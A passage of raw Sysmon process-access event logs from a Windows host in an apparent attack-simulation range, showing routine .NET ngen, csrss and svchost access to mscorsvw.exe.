\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:45.916","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A9-5F2D-0000-0010DD750B00}","TargetProcessId":"4780","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:45","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7006,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:45.916\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A9-5F2D-0000-0010DD750B00}\r\nTargetProcessId: 4780\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:45.916","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A9-5F2D-0000-0010DD750B00}","TargetProcessId":"4780","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:45","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7007,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:45.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A9-5F2D-0000-0010DD750B00}\r\nTargetProcessId: 4780\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:45.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A9-5F2D-0000-0010DD750B00}","TargetProcessId":"4780","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7008,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:46.184\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A1-5F2D-0000-001026270B00}\r\nTargetProcessId: 4112\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:46.184","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A1-5F2D-0000-001026270B00}","TargetProcessId":"4112","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7009,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:46.184\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A1-5F2D-0000-001026270B00}\r\nTargetProcessId: 4112\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:46.184","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A1-5F2D-0000-001026270B00}","TargetProcessId":"4112","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7010,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:46.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AA-5F2D-0000-00106A790B00}\r\nTargetProcessId: 4112\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:46.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AA-5F2D-0000-00106A790B00}","TargetProcessId":"4112","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7011,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:46.369\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A2-5F2D-0000-0010AD330B00}\r\nTargetProcessId: 3964\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:46.369","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A2-5F2D-0000-0010AD330B00}","TargetProcessId":"3964","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7012,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:46.369\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A2-5F2D-0000-0010AD330B00}\r\nTargetProcessId: 3964\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:46.369","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A2-5F2D-0000-0010AD330B00}","TargetProcessId":"3964","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7013,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:46.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AA-5F2D-0000-0010997D0B00}\r\nTargetProcessId: 3964\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 